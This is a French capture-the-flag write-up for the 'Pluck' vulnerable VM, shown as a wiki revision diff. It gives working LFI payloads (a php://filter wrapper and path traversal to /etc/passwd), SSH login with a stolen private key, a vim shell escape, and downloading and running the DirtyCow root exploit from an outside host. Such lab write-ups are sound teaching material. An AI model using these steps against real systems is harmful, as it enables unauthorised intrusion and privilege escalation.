Ci-dessous, les différences entre deux révisions de la page.
— |
vm:pluck [2017/03/30 14:16] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **Pluck - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code bash> | ||
+ | nmap -sS -A 192.168.43.99 | ||
+ | |||
+ | PORT STATE SERVICE VERSION | ||
+ | 22/tcp open ssh (protocol 2.0) | ||
+ | |||
+ | 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | ||
+ | |||
+ | 3306/tcp open mysql MySQL (unauthorized) | ||
+ | </code> | ||
+ | |||
+ | |||
+ | __Exploitation web__ | ||
+ | |||
+ | {{ :vm:pluck.png?nolink |}} | ||
+ | |||
+ | On repère rapidement une LFI dans la variable **page**. | ||
+ | |||
+ | On récupère la page admin.php avec un wrapper : | ||
+ | |||
+ | <code> | ||
+ | http://192.168.43.99/index.php?page=php://filter/read=convert.base64-encode/resource=admin.php | ||
+ | </code> | ||
+ | {{ :vm:wrapper_pluck.png?nolink |}} | ||
+ | |||
+ | On décode le base64 du résultat : | ||
+ | |||
+ | <code bash> | ||
+ | |||
+ | echo 'PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93IHZlcnRpY2FsLW9mZnNldC0xMDAiPgogICAgCTxkaXYgY2xhc3M9ImNvbC1tZC00IGNvbC1tZC1vZmZzZXQtNCI+CiAgICAJCTxkaXYgY2xhc3M9InBhbmVsIHBhbmVsLWRlZmF1bHQiPgoJCQkgIAk8ZGl2IGNsYXNzPSJwYW5lbC1oZWFkaW5nIj4KCQkJICAgIAk8aDMgY2xhc3M9InBhbmVsLXRpdGxlIj5BZG1pbjwvaDM+CgkJCSAJPC9kaXY+CgkJCSAgCTxkaXYgY2xhc3M9InBhbmVsLWJvZHkiPgoJCQkgICAgCTxmb3JtIGFjY2VwdC1jaGFyc2V0PSJVVEYtOCIgcm9sZT0iZm9ybSIgYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgoJCQkgICAgCSAgCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJFLW1haWwiIG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iIj4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImNoZWNrYm94Ij4KCQkJICAgIAkgICAgPC9kaXY+CgkJCSAgICAJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tc3VjY2VzcyBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KCQkJICAgIAk8L2ZpZWxkc2V0PgoJCQkgICAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9kaXY+Cgo8P3BocAppbmNsdWRlKCJmb290ZXIucGhwIik7Cj8+Cg==' | base64 -d > admin.php </code> | ||
+ | |||
+ | <file php admin.php> | ||
+ | <div class="alert alert-danger" role="alert">'; | ||
+ | |||
+ | if(strpos($_POST['email'], '\'') !== false) { | ||
+ | echo "<strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6</strong>"; | ||
+ | }else{ | ||
+ | echo "<strong>Incorrect Username or Password!</strong>"; | ||
+ | } | ||
+ | ?> | ||
+ | |||
+ | </file> | ||
+ | |||
+ | On remarque que l'erreur sql sur l'authentification n'est qu'un troll | ||
+ | |||
+ | |||
+ | On récupère le /etc/passwd | ||
+ | <code> | ||
+ | http://192.168.43.99/index.php?page=../../../../../../../../../../etc/passwd | ||
+ | </code> | ||
+ | {{ :vm:passwd.png?nolink |}} | ||
+ | |||
+ | Sur la dernière ligne on peut lire : | ||
+ | <code> | ||
+ | /usr/local/scripts/backup.sh | ||
+ | </code> | ||
+ | |||
+ | On récupère le fichier backup.sh | ||
+ | <code> | ||
+ | http://192.168.43.99/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh | ||
+ | </code> | ||
+ | |||
+ | <file bash backup.sh> | ||
+ | #!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete" | ||
+ | </file> | ||
+ | |||
+ | |||
+ | On se connecte en telnet sur la machine | ||
+ | |||
+ | <code bash> | ||
+ | telnet 192.168.43.99 | ||
+ | </code> | ||
+ | On récupère le backup.tar | ||
+ | <code bash> | ||
+ | get /backups/backup.tar | ||
+ | </code> | ||
+ | |||
+ | Dedans deux dossiers : le /home et le /var/www/html | ||
+ | |||
+ | Dans le /home de l'utilisateur paul un dossier "keys" contient des clés privés et publiques. | ||
+ | <code bash> | ||
+ | total 56K | ||
+ | drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 . | ||
+ | drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 .. | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key1 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key1.pub | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 672 janv. 18 19:08 id_key2 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key2.pub | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key3 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key3.pub | ||
+ | -rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key4.pub | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key5 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key5.pub | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6 | ||
+ | -rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key6.pub | ||
+ | </code> | ||
+ | |||
+ | On essaye de se connecter avec les clé privés. | ||
+ | |||
+ | Seul id_key4 nous renvoie un message différent : | ||
+ | |||
+ | <code bash> | ||
+ | ssh paul@192.168.43.99 -i id_key4 | ||
+ | |||
+ | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | ||
+ | @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ | ||
+ | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | ||
+ | Permissions 0755 for 'id_key4' are too open. | ||
+ | It is recommended that your private key files are NOT accessible by others. | ||
+ | This private key will be ignored. | ||
+ | key_load_private_type: bad permissions | ||
+ | paul@192.168.43.99's password: | ||
+ | </code> | ||
+ | |||
+ | On met les bons droits sur la clé : | ||
+ | <code bash> | ||
+ | chmod 600 id_key4 | ||
+ | </code> | ||
+ | La connexion à l'utilisateur se fait sans demander le mot de passe. | ||
+ | |||
+ | __Exploitation système & Élévation de privilège__ | ||
+ | |||
+ | On arrive dans un Pdmenu | ||
+ | |||
+ | {{ :vm:pdmenu.png?nolink |}} | ||
+ | |||
+ | On choisit l'option :"Edit File" | ||
+ | |||
+ | On essaye d’éditer n'importe quel fichier et c'est vim qui s'ouvre : | ||
+ | |||
+ | {{ :vm:edit.png?nolink |}} | ||
+ | |||
+ | Une fonctionnalité de vim nous permet d'appeler un shell | ||
+ | <code bash> | ||
+ | :set shell ? | ||
+ | => shell=/usr/bin/pdmenu | ||
+ | :set shell=/bin/bash | ||
+ | :shell | ||
+ | </code> | ||
+ | |||
+ | On récupère la version du noyau : | ||
+ | |||
+ | <code bash> | ||
+ | paul@pluck:~$ uname -a | ||
+ | Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux | ||
+ | </code> | ||
+ | |||
+ | Pour passer root nous allons utiliser l'exploit [[ | ||
+ | https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 | dirtycow]] | ||
+ | |||
+ | <code bash> | ||
+ | wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c | ||
+ | </code> | ||
+ | |||
+ | On le compile : | ||
+ | <code bash> | ||
+ | gcc cowroot.c -o cowroot -pthread | ||
+ | </code> | ||
+ | On l’exécute | ||
+ | <code bash> | ||
+ | ./cowroot | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:root_pluck.png?nolink |}} | ||
+ | |||
+ | Merci à l'auteur de la vm ! |